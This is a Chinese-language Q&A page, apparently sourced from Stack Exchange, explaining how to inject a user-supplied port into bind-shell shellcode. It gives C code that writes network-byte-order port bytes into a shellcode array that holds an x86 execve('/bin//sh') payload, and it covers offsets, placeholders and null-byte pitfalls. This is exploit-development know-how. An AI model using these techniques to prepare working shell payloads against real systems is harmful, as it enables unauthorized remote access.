十六进制数转十六进制转义字符数组及Shellcode端口处理技术问询
动态注入端口到Shellcode的下一步方案
你已经搞定了端口参数的字节序转换这关键一步,接下来核心就是把这个网络字节序的端口值注入到你的Shellcode二进制序列中,下面是具体的实现思路和实操步骤:
核心逻辑
Shellcode本质是一段可执行的二进制指令,你需要找到其中原本硬编码端口的位置,然后用计算好的port值覆盖对应的两个字节(因为unsigned short是2字节长度)。
具体步骤
1. 定位Shellcode中的端口位置
首先得搞清楚你的Shellcode里,哪个位置是用来存放端口的。比如经典的绑定Shell Shellcode中,会有类似push 0x2823(对应9000的网络字节序)的指令,反汇编后能看到对应的字节段。
你可以用objdump工具反汇编Shellcode文件,或者用在线反汇编工具分析,找到端口对应的两个连续字节,记下它们在Shellcode数组中的偏移量(比如第15和16字节)。
2. 编写代码替换端口字节
把Shellcode定义成可修改的数组(一定要用unsigned char,加上volatile防止编译器优化导致替换失效),然后根据偏移量写入端口的两个字节:
#include <stdio.h> #include <stdlib.h> #include <arpa/inet.h> #include <string.h> int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <port>\n", argv[0]); return EXIT_FAILURE; } // 替换成你自己的Shellcode,这里用示例占位 volatile unsigned char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; // 示例Shellcode,无端口,仅作演示 // 这里替换成你实际找到的端口偏移量 const int port_offset = 12; // 转换端口为网络字节序 unsigned short port = htons(atoi(argv[1])); printf("Network byte order port: 0x%04x (%d)\n", port, ntohs(port)); // 写入端口字节到Shellcode shellcode[port_offset] = (port >> 8) & 0xFF; // 高字节 shellcode[port_offset + 1] = port & 0xFF; // 低字节 // 验证替换结果 printf("Shellcode now has port bytes: 0x%02x 0x%02x\n", shellcode[port_offset], shellcode[port_offset+1]); // 后续可以执行Shellcode或保存到文件 return EXIT_SUCCESS; }
3. 避坑注意事项
- 内存权限问题:如果把Shellcode定义成
const unsigned char,它会被放在只读内存段,替换时会触发段错误,所以必须用非const的数组,最好加上volatile。 - 字节序验证:你提到
port的值是2823,这里要注意:9000的主机字节序是0x2328,htons转换后网络字节序是0x2823(十进制10275),你可能混淆了转换结果?建议用printf输出port的十六进制值确认,避免后续注入错误。 - 空字节问题:如果你的Shellcode用于需要避免空字节(
\x00)的场景,要确保端口值不会产生空字节。比如端口不能是0(0x0000)、256(0x0100)这类,否则会导致Shellcode被截断失效。
更灵活的技巧:自动查找占位符
如果你不想手动计算偏移量,可以先在Shellcode里用特定的占位符(比如\xAA\xBB)代替硬编码端口,然后在代码中自动搜索这个占位符并替换:
// 搜索占位符的位置 unsigned char *port_ptr = (unsigned char*)memchr(shellcode, 0xAA, sizeof(shellcode)-1); if (port_ptr != NULL && *(port_ptr + 1) == 0xBB) { *port_ptr = (port >> 8) & 0xFF; *(port_ptr + 1) = port & 0xFF; } else { fprintf(stderr, "Placeholder not found in shellcode!\n"); return EXIT_FAILURE; }
这种方法不用手动记偏移,适配不同的Shellcode更方便。
内容的提问来源于stack exchange,提问作者Dibsyhex
相关产品推荐
相关产品推荐

